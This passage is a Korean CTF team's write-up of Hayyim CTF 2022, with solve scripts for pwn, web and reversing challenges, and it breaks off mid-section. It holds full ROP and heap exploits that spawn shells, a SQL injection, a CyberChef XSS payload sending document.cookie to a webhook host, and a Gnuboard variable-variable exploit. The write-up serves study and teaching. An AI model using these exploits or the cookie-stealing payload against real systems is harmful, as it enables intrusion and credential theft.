# Hayyim CTF 2022 Write-up 팀 `하임이 흑화하면? 초코하임 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ` 멤버: 김지환, 이주창, 정현식, 최민엽 ## Pwn ### Warmup 여러번 0x40053D로 돌리면서 스택 올리면 ld 주소가 있어서 해당 주소로 rop ```python= from pwn import * #p = process('./warmup') elf = ELF('./warmup') libc = ELF('./libc-2.27.so')#elf.libc context.log_level='debug' p = remote('141.164.48.191', 10001) pay = 'a'*0x38 pay += p64(0x40053D) for i in range(16): p.sendafter('> ', pay) pay = 'a'*0x38 pay += p64(0x4004A0) pay += p64(0x4004B0) p.sendafter('> ', pay) p.recvuntil('a'*0x38) p.recv(8 * 13) ld = u64(p.recv(8)) log.info('0x%x' % ld) pause() poprdi = ld + 0x00000000000017fb poprsi = ld + 0x00000000000012a9 poprdx_rbx = ld + 0x000000000000119f newpay = p64(0x40053D)*0x10 p.send(newpay) pay = '/bin/sh\x00' + 'a'*0x30 pay += p64(poprdi) + p64(1) pay += p64(poprsi) + p64(0x600FE0) pay += p64(poprdx_rbx) + p64(0x8) + p64(0) pay += p64(0x4004A0) pay += p64(0x40053D) pay += p64(0)*0x3 p.sendafter('> ', pay) write = u64(p.recv(8)) libcbase = write - libc.symbols['write'] log.info('0x%x' % libcbase) pause() pay = '/bin/sh\x00' + 'a'*0x30 pay += p64(poprdi) + p64(libcbase + next(libc.search('/bin/sh'))) pay += p64(0x40057D) pay += p64(poprsi) + p64(0) pay += p64(poprdx_rbx) + p64(0) + p64(0) pay += p64(libcbase + libc.symbols['execve']) p.sendafter('> ', pay) p.interactive() ``` Flag: `hsctf{0rigin4l_inpu7_1eng7h_w4s_0x60} ` ### Cooldown 길이 제한 유념하면서 warmup 페이로드 바꿔주자 ```python= from pwn import * #p = process('./Cooldown') elf = ELF('./Cooldown') libc = ELF('./libc-2.27.so')#elf.libc context.log_level='debug' p = remote('141.164.48.191', 10005) pay = 'a'*0x38 pay += p64(0x40053D) for i in range(26): p.sendafter('> ', pay) pay = 'a'*0x38 pay += p64(0x4004A0) pay += p64(0x4004B0) p.sendafter('> ', pay) p.recvuntil('a'*0x38) p.recv(8 * 3) ld = u64(p.recv(8)) log.info('0x%x' % ld) pause() poprdi = ld + 0x00000000000017fb poprsi = ld + 0x00000000000012a9 poprdx_rbx = ld + 0x000000000000119f newpay = p64(0x40053D)*0xa p.send(newpay) pay = '/bin/sh\x00' + 'a'*0x30 #pay += p64(poprdi) + p64(1) pay += p64(poprsi) + p64(0x600FE0) pay += p64(0x4004A0) pay += p64(0x40053D) ''' pay += p64(poprdx_rbx) + p64(0x8) + p64(0) pay += p64(0x40055D) ''' print(hex(len(pay))) p.sendafter('> ', pay) write = u64(p.recv(8)) libcbase = write - libc.symbols['write'] log.info('0x%x' % libcbase) pause() pay = '/bin/sh\x00' + 'a'*0x30 pay += p64(libcbase + 0x0000000000001b96) + p64(0x200) pay += p64(0x4004B0) p.sendafter('> ', pay) pay = 'a'*0x38 + 'b'*24 pay += p64(poprdi) + p64(libcbase + next(libc.search('/bin/sh'))) pay += p64(0x40057D) pay += p64(poprsi) + p64(0) pay += p64(poprdx_rbx) + p64(0) + p64(0) pay += p64(libcbase + libc.symbols['execve']) p.send(pay) p.interactive() ``` Flag: `hsctf{ACB31ABDE038159C3D7949CFC01CE100}` ### Memory Manager oob read, write로 rax에 calloc 주소 저장 후 sub로 system으로 만들고 free의 got를 system으로 덮으면 된다. ```python= from pwn import * p = remote('39.115.110.8', 5859)#process('./MemoryManager') p.sendlineafter('> ', '/bin/sh\x00') opcode = b'\x00\x30\x00\x41\x00\xde' # add data to rax opcode = b'\x00\x30\x00\x28\x00' + p64(0xffffffffffffef60) # oob read calc opcode += b'\x08\x08\x31\x00' # leak opcode += b'\x05\x30\x00\x30\x00\x44\x00' + p32(0x49880) # 5 calloc -> system opcode += b'\x08\x31\x00' # leak opcode += b'\x03' + b'\x28\x00' + b'\x30\x00' + p64(0xffffffffffffef38) + b'\x01' opcode += b'\x09' pause() p.sendlineafter('> ', opcode) p.interactive() ``` Flag: `hsctf{Thank_you_for_solving_the_very_tedious_VM_Challenge}` ### cenarius environ 릭해서 stack에 rop. tcache Stashing 사용해서 임의 주소 할당 가능 ```python= from pwn import * import os elf = ELF('./cenarius') libc = elf.libc while True: p = remote('141.164.48.191', 10002)#process('./cenarius') p.sendafter('$ ', 'set a=1') p.sendafter('$ ', 'unset a') p.sendafter('$ ', 'set b=') p.sendafter('$ ', 'echo b') p.recvuntil('b: ') leak = u64(p.recvline()[:-1].ljust(8,b'\x00')) heapbase = leak << 12 log.info('[HEAP] 0x%x' % heapbase) p.sendafter('$ ', 'unset b') p.sendafter('$ ', 'set c=' + 'a'*0x410) p.sendafter('$ ', 'set d=1') p.sendafter('$ ', 'unset c') p.sendafter('$ ', b'echo ' + p64(leak)) context.log_level='debug' p.recvuntil(': ') leak = u64(p.recvline()[:-1].ljust(8,b'\x00')) libcbase = leak - 0x218cc0 log.info('[LIBC] 0x%x' % libcbase) for i in range(0x10): p.sendafter('$ ', f'set {i}=') for i in range(0x20): p.sendafter('$ ', f'set adt{i}=' + 'a'*0x1f) for i in range(1, 8): p.sendafter('$ ', f'unset {i}') p.sendafter('$ ', 'unset 0') p.sendafter('$ ', 'unset 9') print('0x%x' % (heapbase >> 12)) p.sendafter('$ ', b'unset ' + p64(heapbase >> 12)) for i in range(0x20): p.sendafter('$ ', f'unset adt{i}') for i in range(7): p.sendafter('$ ', f'set ad{i}=') target = libcbase + libc.symbols['environ'] -0x8#+ libc.symbols['__free_hook'] -0x20 -8 print('0x%x' % target) enc = target ^ ((heapbase + 0x2f0) >> 12) enc |= 15 enc -= 15 print('0x%x' % enc) p.sendafter('$ ', b'set qq=' + p64((enc))) p.sendafter('$ ', b'set qqq=' ) p.sendafter('$ ', b'set qqqq=' ) p.sendafter('$ ', b'set qqqqq=' + b'a'*0x10) d = p.recv(2) if b'$' in d: p.send('echo qqqqq') p.recvuntil('a'*0x10) stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) log.info('[STACK] 0x%x' % stack) ret = stack - 0x670 p.sendafter('$ ', f'set rere1=' + 'a'*0x1f) p.sendafter('$ ', f'set rere2=' + 'a'*0x1f) p.sendafter('$ ', f'set rere3=' + 'a'*0x1f) for i in range(10): p.sendafter('$ ', f'set zz{i}=' + 'a'*0x5f) for i in range(1, 8): p.sendafter('$ ', f'unset zz{i}') p.sendafter('$ ', 'unset zz0') p.sendafter('$ ', 'unset zz8') target = ((heapbase + 0x1100) >> 12) ^ (heapbase + 0xfa0) print('0x%x' % target) p.sendafter('$ ', b'unset ' + p64(target)) p.sendafter('$ ', f'unset rere1') p.sendafter('$ ', f'unset rere2') p.sendafter('$ ', f'unset rere3') for i in range(7): p.sendafter('$ ', f'set adzz{i}=' + 'a'*0x5f) target = ret -0x8#+ libc.symbols['__free_hook'] -0x20 -8 print('0x%x' % target) enc = target ^ ((heapbase + 0x1400) >> 12) #enc |= 15 #enc -= 1 print('0x%x' % enc) p.sendafter('$ ', b'set yy=' + p64((enc)) + b'\x00' * (0x5f-8)) p.sendafter('$ ', b'set yyy=' + b'\x00'*0x5f ) p.sendafter('$ ', b'set yyyy='+ b'\x00'*0x5f ) pause() pay = b'a'*8 pay += p64(libcbase + 0x000000000002e6c5) pay += p64(libcbase + next(libc.search(b'/bin/sh'))) pay += p64(libcbase + 0x000000000002e6c5 + 1) pay += p64(libcbase + libc.symbols['system']) pay += b'\x00' * (0x5f - len(pay)) p.sendafter('$ ', b'set yyyyy=' + pay) p.interactive() else: p.close() ``` Flag: `hsctf{503d5ee5adf0e8c50463daaac5f20e0e}` ### HNote 소스코드 기준 185번째줄 `mgr->ptr = make_unique<Note>();` 여기서 uaf가 난다. 이걸로 임의 ptr 조작을 만들어서 aar, aaw로 익스플로잇 하면 된다. ```python= from pwn import * import time def add(name, content): p.sendlineafter('> ', '1') time.sleep(0.2) p.sendafter('> ', name) time.sleep(0.2) p.sendafter('> ', content) time.sleep(0.2) def delete(name): p.sendlineafter('> ', '2') time.sleep(0.2) p.sendafter('> ', name) time.sleep(0.2) def edit(name, content): p.sendlineafter('> ', '3') time.sleep(0.2) p.sendafter('> ', name) time.sleep(0.2) p.sendafter('> ', content) time.sleep(0.2) def view(): p.sendlineafter('> ', '4') time.sleep(0.2) p = remote('39.115.110.8', 7777) #p = process('./HNote') libc = ELF('./libc-2.31.so') context.log_level = 'debug' add('a', 'a') # real add('a', 'a') # dup add('b', 'a'*0x10) # real add('b', 'a'*0x10) # dup add('c', 'a') # real add('c', 'a') # dup add('d', 'a') # real add('d', 'a') # dup add('c', 'asdf') delete('c') add('b', 'c'*0xa0) add('a'*0x40, 'b'*0x40) # real add('c'*0x10, 'd'*0x40) # real add('e'*0x10, '\x00'*0x7) # fake chunk go, real view() p.recvuntil('c'*0xa0) p.recvuntil('Content > ') leak = u64(p.recv(6).ljust(8, b'\x00')) print('0x%x' % leak) heapbase = leak - 0x123d0 log.info('[heapbase] 0x%x' % heapbase) pause() edit('e'*0x10, p64(heapbase + 0x12000 - 0x8) + p64(heapbase + 0x12000)) edit(p8(0x21), p64(heapbase + 0x11f70) * 2 + p8(1)) add('leakhere', 'a'*0x110) # real add('asrrdf', b'a'*(16 * 53) + (p64(0) + p64(0x21)) * 10) # real add('asrrdf2', b'a'*(16 * 53) + (p64(0) + p64(0x21)) * 10) # real #add('a', 'asdf') # 0 edit('e'*0x10, p64(heapbase + 0x12410 - 0x8) + p64(heapbase + 0x12410 - 0x8)) edit(p16(0x121), p16(0x561)) edit('leakhere', b'a'*240 + p64(heapbase + 0x12530 + 0x10 + 8) + p64(heapbase + 0x12530 + 0x10) + b'd'*32) #edit('e'*0x10, p64(heapbase + 0x12540) + p64(heapbase + 0x12540)) view() p.recvuntil('eeeeeeeeeeeeeeee') p.recvuntil('Content >') p.recvuntil('Content > ') leak = u64(p.recv(6).ljust(8, b'\x00')) libcbase = leak - 0x1ebbe0 log.info('[libcbase] 0x%x' % libcbase) pause() edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(libcbase + libc.symbols['environ'] )) view() p.recvuntil('cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc') p.recvuntil('Content > ') leak = u64(p.recv(6).ljust(8, b'\x00')) print('0x%x' % leak) ret = leak - 0x130 edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(ret)) view() p.recvuntil('cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc') p.recvuntil('Content > ') leak = u64(p.recv(6).ljust(8, b'\x00')) print('0x%x' % leak) binbase = leak - 0x22a2 edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(libcbase + 0x1ec6a0)) edit(p16(0x131), 'sh;') edit('eeeeeeeeeeeeeeee', p64(heapbase + 0x12410 - 0x8) + p64(libcbase + 0x1ED500)) edit(p16(0x131), p64(libcbase + libc.symbols['system'])[:-2]) #edit(p16(0x131), p64(libcbase + 0xe6c84)[:-2]) p.interactive() ``` Flag: `hsctf{Using_STL's_raw_P0in7ers_is_R1sky} ` ## Web ### Not-E (First blood) formatQuery가 param에 format string인 ?가 있는지 없는지 검증을 안한다. 이걸로 쿼리를 좀 많이 망가뜨릴 수 있는데, 다음과 같은 호출을 생각하자. `formatQuery("insert into posts values (?, ?, ?, ?)", ["noteid", "?", ",aaaaaaaa", "userid"]);` 이러면 두번째 ?가 바뀌게 되면서 `insert into posts values ("noteid", "?", ?, ?)`가 된다 이 대 다시 치환이 되면서 `insert into posts values ("noteid", "",aaaaaaa"", ?, ?)` 가 되니까, aaaaaaa 대신에 `(select flag from flag), 'payload') --` 하면 (payload = 유저아이디) `insert into posts values ("abc", "",(select flag from flag),'payload') -- "", ",asdf", ?)` 요게 되면서 플래그가 select 돼서 content로 들어온다 Flag: `hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}` ### Cyberchef Github Issue를 보자. [CyberChef #1265](https://github.com/gchq/CyberChef/issues/1265) 와! `http://cyberchef:8000/#recipe=Scatter_chart(%27Line%20feed%27,%27Space%27,false,%27%27,%27%27,%27red%22%3E%3Cscript%3Elocation.href%3D(%5C%27https://webhook.site/7bc1142c-3349-4a34-af54-3c5bb992fda1/a%3D%5C%27%2Bbtoa(document.cookie));%3C/script%3E%27,100,false)&input=MTAwLCAxMDA` Flag: `hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}` ### wasmup heap overflow가 있다. 적당히 unlink 해서 process.exit(1)를 원하는 커맨드로 덮어주면 된다. ```python= from pwn import * def add(index, size, data): p.sendlineafter('>\n', '1') p.sendlineafter('>\n', str(index)) p.sendlineafter('>\n', str(size)) p.sendlineafter('>\n', data) def addTrick(index, size): p.sendlineafter('>\n', '1') p.sendlineafter('>\n', str(index)) p.sendlineafter('>\n', str(size)) def edit(index, data): p.sendlineafter('>\n', '2') p.sendlineafter('>\n', str(index)) p.sendlineafter('>\n', data) def delete(index): p.sendlineafter('>\n', '3') p.sendlineafter('>\n', str(index)) p = remote('1.230.253.91', 2000)#process(['node', 'app.js']) print(add(0, 0x20, 'AAAA')) print(add(1, 112, 'bbbb')) print(add(2, 112, 'CCCC')) addTrick(0, 0x7fffffff) delete(1) pay = b'c2w2m2' + b'a'*26 pay += p32(0) + p32(112 | 1) pay += p32(0x47f - 8) * 2 pay += b'\x00'*16 pay += p32(0) + p32(112 | 2) edit(0, pay) add(1, 112, 'asdf') add(1, 112, "....console.log(require('fs').readFileSync('/flag','utf-8'))") p.interactive() ``` Flag: `hsctf{eafda550f231ca524b1eea2cea0e4ba5a880af64f72ac2ed3ae4c2f44ba96fe9} ` ### Cyberheadchef chart -> cha%00rt 오잉 이게 왜 되지? Flag: `hsctf{be9e5b8bce203e203597dca3d67e0f7a38e359a9ab7799988e888be073c78da0}` ### Gnuboard `/shop/inicis/inistdpay_result.php` 를 보면 ```php= echo "## 망취소 API 결과 ##"; $netcancelResultString = str_replace("<", "&lt;", $$netcancelResultString); $netcancelResultString = str_replace(">", "&gt;", $$netcancelResultString); echo "<pre>", $netcancelResultString . "</pre>"; // 취소 결과 확인 ``` 가 있다. php의 `$x = "a"; $$x == $a` 임을 잘 이용하면 `$flag`를 접근할 수 있을 것 같다. 기본적으로 그누보드는 모든 request에 대해 extract를 수행하고 있으므로, 첫번째 netcancelResultString 의 replace 결과가 어떤 변수를 가리키게 하고, 그 변수를 flag로 지정해주면 $flag가 출력될 것 같다. 일단, 망 취소 flow에 도달해야하므로, resultCode를 0000으로, authUrl을 접근 불가능 한 값으로 주고, netCancelUrl을 우리가 지정하면 된다. 이 때, HttpClient를 잘 보면 포트 설정이 조금 이상한거 같으니 SSL이 설정된 서버로 보내자. 우리의 페이지가 'x'를 가리키게 하고, 해당 endpoint에 POST parameter로 x=flag를 주면 $netcancelResultString이 'x' -> 'flag' -> 실제 flag 순으로 바뀌게 되어 취소 결과 확인에서 출력될 것이다. ```php= <?php // hayyim.php, served on https://whoami.eyes-on.me echo "x"; ``` ```http POST /shop/inicis/inistdpay_result.php HTTP/1.1 Host: 1.230.253.91:5000 Cookie: cookie... Content-Type: application/x-www-form-urlencoded Content-Length: 114 resultCode=0000&netCancelUrl=https://whoami.eyes-on.me/hayyim.php?&authToken=a&authUrl=http://1.23.456.7/x&x=flag ``` Flag: `hsctf{799c12711fd9d697a00ae3e6329a7979cc648d7cdae0fbb3d62f23a1f7c7f544}` ## Rev ### Breakable jadx로 까보면 실제로 하는 일은 libmyctf.so의 함수 `init`과 `check`를 사용한다는 것을 알 수 있다. `init`은 XOR을 통한 string들의 난독화가 이뤄져있는데, 하나씩 복호화해보면 signature를 bytearray로 가져와 `check` 코드 영역과 XOR을 하여 암호화된 `check` 영역을 복호화하는 것을 알 수 있었다. Signature를 가져올 때는 jadx에서 signature의 raw값을 가져올 수 없어서 임시 방편으로 다음과 같이 탐색했다. ```python= with open('breakable/META-INF/CTFKEY.RSA', 'rb') as f: key = f.read() for x in range(len(key)): for y in range(x + 200, len(key)): t = hashlib.sha256(key[x:y]).hexdigest() if t.startswith('923dfec6'): print(x, y) print(t) ``` 이를 통해 가져온 signature 값과 XOR하여 `check` 함수를 복구하면, table이 뒤섞인 base64를 사용하여 input을 바꾼 뒤 갖고 있는 값과 단순 비교하는 것을 알 수 있다. 이를 푸는 코드는 다음과 같다. ```python= import string, base64 table = '60707c1f1775013e10071a3a210d20351e733f230e317805' table += '2c2004636c08250011226225360921133d3c6a1a02281c01' table += '3c26612e0c160312302a0a24322e6015' table = bytearray.fromhex(table) for i in range(len(table)): table[i] ^= b'\x54\x45\x53\x54'[i % 4] print(table) target = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/' mp = dict(zip(table, target.encode())) mp[ord('=')] = ord('=') output = '032f1b2519173624032f273d3a74371b3a7437151e6e3c36' output += '6c37382d3175382e316e1b076c371f0c2231383963156507' output += '6317270003141b0063372704311411006c1563263129371b' output += '3a020b69' output = bytearray.fromhex(output) for i in range(len(output)): output[i] ^= b'\x54\x45\x53\x54'[i % 4] for i in range(len(output)): output[i] = mp[output[i]] print(base64.b64decode(output)) ``` Flag: `hsctf{huh.....?Android_security_module_is_never_safe...}` ### Ouroboros Base36 (digits + 알파벳 대문자)의 16글자 input을 받은 뒤, 각 글자를 6x6 좌표 평면 상의 점들로 치환한다. 그리고 (5, 5), (0, 5) 두 점과 함께 이 점들을 연달아 이었을 때, 가로 세로 선만으로 구성된 회로를 구성해야 한다. 그리고 이 회로의 조건을 검증하는 함수가 있다. 이 함수에서는 특정 좌표를 확인해, 그 좌표에 점이 있는지 선이 있는지, 그리고 그 좌표를 기준으로 상하좌우로 선이 몇 개가 그어져있는지 확인한다. 주어진 조건을 바탕으로 풀어보면 다음과 같다. (주황: 해당 좌표에 점이 있어야 함. 초록: 해당 좌표에 선이 있어야 함.) ![](https://i.imgur.com/T2g2uMK.png) 이를 input으로 다시 변환한다. ```python= sol = [ (0, 4), (1, 4), (1, 3), (0, 3), (0, 2), (1, 2), (1, 0), (5, 0), (5, 1), (4, 1), (4, 2), (3, 2), (3, 1), (2, 1), (2, 4), (5, 4) ] ans = b'' for x, y in sol: v = x * 6 + y if v < 10: ans += bytes([v + 48]) else: ans += bytes([v + 55]) print(ans) ``` 이를 통해 구한 입력은 `4A93286UVPQKJDGY`이다. Flag: `hsctf{4A93286UVPQKJDGY}` ### The Strangers 코드를 살펴보면 현재 시간을 바탕으로 `srand()`를 한 뒤 `rand()`를 통해서 매칭되어야 하는 IP와 port를 구하고, 받은 패킷의 IP/port와 동일한지 비교하는 부분이 있다. 만약 동일할 경우 `rand()`로부터 얻은 output 한 바이트를 얻어내 저장하는데, 이를 네 번 반복해 4byte를 얻을 경우 이것이 최종 IP가 되며, 이 IP로부터 온 패킷의 port 값을 취해 실행할 command를 얻는 구조로 되어있다. 이 때 command를 전부 얻은 후 실행하면 SMB를 통해 `192.168.126.255`로 보내는 것을 패킷 분석을 통해 확인할 수 있다. ```python= from ctypes import * from scapy.all import * dll = CDLL("C:\\Windows\\System32\\msvcrt.dll") def get_rands(a1, t): t = int(t) dll.srand(a1 + t - t % 0xE10) ip = [dll.rand() % 223 + 1 for _ in range(4)] ip = ".".join(map(str, ip[::-1])) port = dll.rand() return ip, port pcap = rdpcap('packet.pcapng') target, target_ip = [], None res = b'' for packet in pcap: if packet[IP].dst == '192.168.126.138': ip, port = get_rands(len(target), packet.time) if ip == packet[IP].src and port & 255 == packet[UDP].sport & 255: target.append(packet[UDP].sport >> 8) if len(target) == 4: target_ip = ".".join(map(str, target[::-1])) if packet[IP].src == target_ip: res += bytes([packet[UDP].sport & 255, packet[UDP].sport >> 8]) if packet[IP].dst == '192.168.126.255': raw = bytearray(bytes(packet[UDP])) for i in range(len(raw)): raw[i] ^= target[(1 + i) % 4] print(raw[178:]) print(res) ``` `print(res)`를 통해 실행한 command들은 다음과 같다. ``` dir flag_reader flag_reader "thank_you_for_solving_this_challenge" ``` `print(raw[178:])` 부분을 통해 얻은 command 실행 결과들은 다음과 같다. ``` b'xMicrosoft Windows [Version 10.0.19044.1288]\r\n(c) Microsoft Corporation. All rights reserved.\r\n\r\nC:\\Users\\user\\Desktop>\x94' b'x \r\n Volume in drive C has no label.\r\n Volume Serial Number is 3231-B0A2\r\n\r\n Directory of C:\\Users\\user\\Desktop\r\n\r\n02/11/2022 01:21 AM <DIR> .\r\n02/11/2022 01:21 AM <DIR> ..\r\n02/11/2022 01:20 AM 47,104 challenge.exe\r\n02/09/2022 09:42 AM 71 flag.txt\r\n02/09/2022 01:53 PM 40,960 flag_reader.exe\r\n02/09/2022 02:28 PM 305,960 B' b'xpacket.pcapng\r\n 4 File(s) 394,095 bytes\r\n 2 Dir(s) 43,383,029,760 bytes free\r\n\r\nC:\\Users\\user\\Desktop>\x94' b'x \r\n\x94' b'xUsage: flag_reader {xor_key}\r\n\r\nC:\\Users\\user\\Desktop>\x94' b'z\x11\xa5\x94>\x07\xf1\xdf.\r\xf2\xb9+{\xe8\xa25\t\xf7\x94pB\xa1\x84zB\xad\x95/\xe8\xa2' b'x \r\nEncrypted Flag(hex) is 1c1b021a0d244b5b116e040d136f110908430858043c400b0f153a010d520859500c5e56125a04595c3d1b0a146a560d143e47585843085a01394d5d0811680109535f0f060b1a\r\n\r\nC:\\Users\\user\\Desktop>z' ``` 살펴보면 `flag_reader`의 사용예가 `Usage: flag_reader {xor_key}` 이므로 아마 XOR를 통해 암호화 하는 프로그램임을 확인할 수 있다. 이를 다음 코드를 통해 복호화한다. ```python= enc = bytearray.fromhex('1c1b021a0d244b5b116e040d136f110908430858043c400b0f153a010d520859500c5e56125a04595c3d1b0a146a560d143e47585843085a01394d5d0811680109535f0f060b1a') key = b'thank_you_for_solving_this_challenge' for i in range(len(enc)): enc[i] ^= key[i % len(key)] print(enc) ``` Flag: `hsctf{24d1bba0bfd5a6cc4cffebe3d55b93f2e77bbea50bfa4745a4ff95ab7ba23cce}` ### EVMatrix 주어진 Ethereum 바이너리를 decompile 해서 알아볼 수 있게 정리해보면 ```c #include <stdio.h> char mem[0x1000]; int main() { mem[0x80] = 0xe0; mem[0xa0] = 0x140 //mem[0xa0] = var2; mem[0xc0] = 0x1a0; //mem[0xc0] = var2; mem[0xe0] = 0x76; mem[0x100] = 0x71; mem[0x120] = 0x60; mem[0x140] = 0x2d; //mem[var2] = 0x2d; mem[0x160] = 0x76; //mem[var3] = 0x76; mem[0x180] = 0x59; // mem[(var3 + 0x20)] = 0x59; mem[0x1a0] = 0x5; //mem[var2] = 0x5; mem[0x1c0] = 0x4a; //mem[var3] = 0x4a; mem[0x1e0] = 0x68; //mem[(var3 + 0x20)] = 0x68; //mem : [0xe0, 0x140, 0x1a0, 0x76, 0x71, 0x60, 0x2d, 0x76, 0x59, 0x5, 0x4a, 0x68] sub_158(0x3, 0x80, 0x0); mem[0x200] = 0x260; //mem[var0] = var2; mem[0x220] = 0x2e0; //mem[var1] = var2; mem[0x240] = 0x320; //mem[(var1 + 0x20)] = var2; mem[0x260] = 0x10; //mem[var2] = 0x10; mem[0x280] = 0x20; //mem[var3] = 0x20; mem[0x2a0] = 0x30; //mem[(var3 + 0x20)] = 0x30; mem[0x2c0] = 0x40; //mem[var2] = 0x40; mem[0x2e0] = 0x50; //mem[var3] = 0x50; mem[0x300] = 0x60; //mem[(var3 + 0x20)] = 0x60; mem[0x320] = 0x70; //mem[var2] = 0x70; mem[0x340] = 0x80; //mem[var3] = 0x80; mem[0x360] = 0x90; //mem[(var3 + 0x20)] = 0x90; //mem : [0x260, 0x2e0, 0x320, 0x10, 0x20, 0x30, 0x40, 0x50, 0x60, 0x70, 0x80, 0x90] sub_1AF(0x3, 0x200, 0x9); //sub_1AF(0x3, var0, 0x9); //var0 = 0x200 if($msg.value != 0x0) { revert(0x0, 0x0); } codecopy(0x0, 0x38a, 0xaf8); return(0x0, 0xaf8); } ``` 이다. 파일 용량이 그렇게 크지 않아 복잡하지는 않을 로직이라 추측하고, 프로그램 그냥 돌려보기로 했다. Ethereum Ropsten Network에 binary랑 abi를 업로드해서 contract를 만들고 나면, ETH 위에서 해당 contract와 interaction을 할 수 있는데, 간단하게 web3를 지원하는 MetaMask + MyEtherWallet 으로 테스트 할 수 있다. 몇몇개의 테스트 벡터에 대해서 결과를 뽑아 보면 ``` [00 00 00 00 00 00 00 00 00] -> 10 20 30 40 50 60 70 80 90 [01 00 00 00 00 00 00 00 00] -> 66 51 50 40 50 60 70 80 90 [00 01 00 00 00 00 00 00 00] -> 10 20 30 36 21 00 70 80 90 [00 00 01 00 00 00 00 00 00] -> 10 20 30 40 50 60 06 f1 f0 [00 00 00 01 00 00 00 00 00] -> 3d 56 69 40 50 60 70 80 90 [00 00 00 00 01 00 00 00 00] -> 10 20 30 6d 26 39 70 80 90 [00 00 00 00 00 01 00 00 00] -> 10 20 30 40 50 60 5d f6 c9 [02 00 00 00 00 00 00 00 00] -> fc c2 f0 40 50 60 70 80 90 [01 00 00 01 00 00 00 00 00] -> b3 c7 89 40 50 60 70 80 90 [01 00 00 00 00 00 01 00 00] -> 6b 9b f8 40 50 60 70 80 90 ``` 인데, 앞선 정적 분석에서 얻은 두 개의 key 값을 이용하여 코드를 구성하면 다음과 같다. 이는 충분히 추측 가능한 연산이다. ``` A, B, input, output is 3x3 matrix A = [[0x76, 0x71, 0x60], [0x2d, 0x76, 0x59], [0x05, 0x4a, 0x68]] B = [[0x10, 0x20, 0x30], [0x40, 0x50, 0x60], [0x70, 0x80, 0x90]] output = input*A xor B mod 0x100 ``` 역산도 충분히 가능하지만, z3-solver를 사용해서 풀이를 작성했다. ```python= f = open("flag.bin", "rb").read() from z3 import * flag = [] for i in range(len(f) // 9): v = list(f[9 * i: 9*i +9]) for j in range(9): v[j] ^= b[j] x = [BitVec("x%d"%(i), 8) for i in range(9)] s = Solver() for j in range(3): s.add((x[j] * a[0] + x[3+j] * a[3] + x[6+j] * a[6]) & 0xFF == v[0 + 3 * j]) s.add((x[j] * a[1] + x[3+j] * a[4] + x[6+j] * a[7]) & 0xFF == v[1 + 3 * j]) s.add((x[j] * a[2] + x[3+j] * a[5] + x[6+j] * a[8]) & 0xFF == v[2 + 3 * j]) print(s.check()) m = s.model() for j in x: flag.append(int(str(m[j]))) print(bytes(flag)) ``` Flag: `hsctf{426a394408d3365da651003e88594b5f8f7905d6c6d43f3abca47bd93bfa0b78}` ### ezrev 어떤 복잡한 연산을 통해서 1byte값을 구하고, 이 값을 어떤 배열에 xor을 한다음, 입력한 문자열을 base64 encode한 것과 xor되어있는 배열과 비교를 한다. 단순하게 배열에 0x00~0xFF 까지 bruteforce로 xor해가면서 base64 decode가 되고 decode했을때 hsctf로 시작하면 그게 답이다. ```python= a = open("ezrev", "rb").read()[0x3040 : 0x306C] import base64 for i in range(0x100): t = list(map(lambda x: x ^ i, a)) try: res = base64.b64decode(bytes(t)) if res.startswith(b"hsctf"): print(res) except: pass ``` Flag: `hsctf{thanks_for_enjoying_hsctf!}` ### frontdoor init의 함수중에 `/tmp/vm`이라는 바이너리를 하나 더 만드는 것을 볼 수 있다. 전체적인 구성에 앞서 일단 sprintf에 들어가는 format string을 모두 encoding 을 해두어서 decode해서 읽었다. ```python= f = 0x335D25AF4327A1B1 a = [0xD8, 0xCF, 0x41, 0x2C, 0x82, 0x42, 0x38, 0x47, 0x91, 0xC6, 0x52, 0x26, 0xDC, 0x51, 0x34, 0x5D, 0xD7, 0xCE, 0x9, 0x66, 0xDC, 0x25] # info-get guestinfo.%s f = 0x318599E5AB6103E1 a = [0x88, 0x6D, 0x7 , 0xC4, 0xC8, 0xFE, 0xE0, 0x45, 0xC1, 0x64, 0x14, 0xCE, 0x96, 0xED, 0xEC, 0x5F, 0x87, 0x6C, 0x4F, 0x8E, 0x96, 0x99] # info-get guestinfo.%s f = 0xE5673BE52FC3ED51 a = [0x38, 0x83, 0xA5, 0x40, 0xC8, 0x48, 0x2, 0x91, 0x71, 0x8A, 0xB6, 0x4A, 0x96, 0x4F, 0xE, 0x8B, 0x37, 0x82, 0xED, 0xA, 0x96, 0x1B, 0x42, 0x96, 0x51] # info-set guestinfo.%s %s for i in range(len(a)): a[i] ^= (f >> (8 * (i & 7))) & 0xFF print("".join(list(map(chr, a)))) ``` vmware에서만 돌아간다는 것을 생각해보면 vmware에서 값을 저장하고 불러올수 있는 명령어 같이 생겼다. 일단 입력을 받고, 0x1F20에 있는 함수에서 한글자 마다 `info-set guestinfo.<alphabet> <1 byte input>` 이런 식으로 a부터 z까지 저장한다. 0x2060에 있는 함수에서 `info-get guestinfo.<alphabet>`으로 값을 불러오고 그에 해당하는 알파벳과 xor을 한다. 그 xor된 값들을 규칙없게 모아 4byte로 pack을 해서 7개의 32byte 데이터를 만들고 각각의 데이터에 적절한 32bit bitwise rotate를 한다. 마지막으로 나온 7개를 a1, a2, ..., a7에 저장하고 이 데이터들을 가지고 `/tmp/vm` 바이너리를 실행한다. `/tmp/vm`에서 a1, a2, ..., a7값을 가져와서 비교를 하고 맞았는지 확인을 해준다. 첫째로 rotate를 할때 입력값에 따라서 rotate를 얼마나 할지 달라지는데, 이는 마지막 a7의 하위 2바이트에 0x455a가 들어간다는 것을 알고 있으므로 구할 수 있다. unpack하고 배정되었던 알파벳순으로 정렬하는건 단순한 연산이니 생략하겠다. 다만 rotate를 얼마나 하는지가 분석한 결과에 따라서 하면 제대로 안나오길래 적절히 